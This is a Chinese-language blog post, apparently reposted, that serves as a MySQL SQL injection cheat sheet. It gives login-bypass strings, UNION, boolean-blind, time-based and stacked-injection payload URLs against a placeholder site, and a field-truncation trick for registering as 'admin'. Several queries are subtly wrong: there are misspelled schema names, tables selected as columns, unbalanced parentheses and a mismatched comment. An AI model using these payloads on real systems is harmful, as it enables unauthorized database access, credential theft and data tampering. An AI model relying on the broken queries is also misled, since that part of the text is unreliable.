mysql 多行拼接注入_MySQL注入汇总
Mysql注釋符:
單行注釋: # 在對URL使用過程中可能遇到Unicode編碼問題,可常用%23代替
多行注釋:/**/
單行注釋: -- 此處需要注意后面存在空格,否則報錯
0.萬能密碼
(基于SQL驗證,SQL注入)
aaa' or 1#
aaa' or 1; -- 會導致不成功,應為注釋掉了sql語句拼接的單引號,導致無法完成查詢
aaa' or 1; -- aaaaa
aaa' or 1; /******
(基于%00截斷繞過)
aa' or 1 %00/*
aa' or 1 %001451618646415:擾亂判定
1.UNION聯合注入
前置關鍵詞:union ;order by;limit;
union:使用時需要于前置查詢結果列數相同
order by :可用于對指定列進行排序
limit a,b:取出查詢的從a開始b個的指定位置數據
前置關鍵函數:database(); version();user(); database():當前數據庫
關鍵數據庫:information_schema
思路:直接查詢
獲取union前查詢語句的列數
例如:http://www.a.com/mysql.php?sql=1' order by 4 %23%23%23 通過使用order by 排序來判定列數
假設已知列數為3,可進一步使用聯合查詢執行關鍵函數
例如:http://www.a.com/mysql.php?sql=1' and 0 union select user(),version(),database()%23%23%23* 通過使用order by 排序來判定列數
查詢該當前數據庫test有多少表
例如:http://www.a.com/mysql.php?sql=1' and 0 union select information_schema.TABLES,2,3 where TABLE_SCHEMA='test' limit 0,1%23%23%23* 通過使用information_schema的tables屬性查詢表,結合limit逐個查詢
查詢該當前表testTable字段信息
例如:http://www.a.com/mysql.php?sql=1' and 0 union select information_schema.CLOUMNS,2,3 where TABLE_NAME='testTable' limit 0,1%23%23%23* 通過使用information_schema的cloumns屬性查詢表字段,結合limit逐個查詢。
注意:TABLE_NAME='testTable' 建議將testTable的16進制寫入進行替換
擴展,可以使用concat(a,'--',b)函數可以將查詢到的兩個結果進行拼接,一般用于賬號于密碼md5值對應
2.BOOL布爾注入(盲注)
前置關鍵函數:mid() ;ord();length();
mid(str,1,2):字符串截取函數
ord():轉為ascii碼
length():統計長度
思路:可以進行逐個字符爆破猜解
使用and或者or進行測試
例如:http://www.a.com/mysql.php?sql=1' and 0 %23%23%23%23
猜測數據庫長度是否為3
例如:http://www.a.com/mysql.php?sql=1' and (select length(database())) = 3%23%23%23%23
猜測數據庫名
例如:http://www.a.com/mysql.php?sql=1' and (select ord(mid(database(),1,1)) > 97%23%23%23%23
通過截取數據庫名的第一字符并轉至為ascii與數字不斷比較猜測
完成數據庫名測試后,開始爆破表數量
例如:http://www.a.com/mysql.php?sql=1' and (select count(TABLE_NAME) from infomation_schema.TABLES where TABLES_SCHEMA=database() limit 0,1) = 3%23%23%23%23
完成表數量測試后,開始爆破表名
例如:http://www.a.com/mysql.php?sql=1' and mid((select count(TABLE_NAME) from infomation_schema.TABLES where TABLES_SCHEMA=database() limit 0,1),1,1) > 97%23%23%23%23
3.SLEEP延時注入(盲注)
前置關鍵函數:sleep(),if();
sleep():指定睡眠時間
if():類似于編程的三元表達式
例如猜測數據庫長度
例如:http://www.a.com/mysql.php?sql=1' and sleep(if( length(database()) = 3,0,5)%23%23%23%23
后面同布爾注入思路相同,逐個猜測即可
4.堆疊注入(Stacked Injection)
前置知識:SQL語法
注意:該方法不適用于Oracle數據庫
利用原理:通過;來構造執行多條語句
例如可以插入信息,當然前提知道可以插入的字段,數據表等
例如:http://www.a.com/mysql.php?sql=1' ;insert into users(id,username,password) value (77,'acca','bbc')%23%23%23%23
后面思路可以執行SQL語句的思路來進行更關鍵的數據獲取,增刪查改等操作
5.基于約束型注入
前置知識:SQL語法
利用原理:由于管理員在創建數據庫時可能對字段長度進行約束,輸入是超過其長度限制,利用系統截斷功能處理,一般常用于insert中進行覆蓋等,多見于CTF題型中
例如20個字符以內varchar(20),存儲用戶名為admin可在賬戶注冊部分進行測試
例如:注冊賬戶設置為admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201,通過填充空格數進行惡意注冊,利用數據庫自行截斷功能,獲取的內容將變為admin(若代碼存在清除空格)
6.GET型注入
7.POST型注入
8.Cookie注入
9.搜索型注入
10.寬字節注入
11.二次注入
12.Insert注入
13.報錯型注入
14.二次編碼注入
15.DNSlog注入(盲注)
資料參考
后記
由于本人技術,精力有限,導致sql注入類型只是完成前5個詳細說明,其他進行了列舉,但是后期會抽出時間進行更新,以上內容有參考網上其他文章,已經列舉至參考資料一欄,若存在錯誤,請大家予以斧正,若需商業化使用,請及時告知,謝謝。歡迎技術交流QQ:3300744526
總結
以上是生活随笔為你收集整理的mysql 多行拼接注入_MySQL注入汇总的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 东风系列是什么导弹 来看看导弹系列
- 下一篇: mysql多实例复制,Mysql实例使用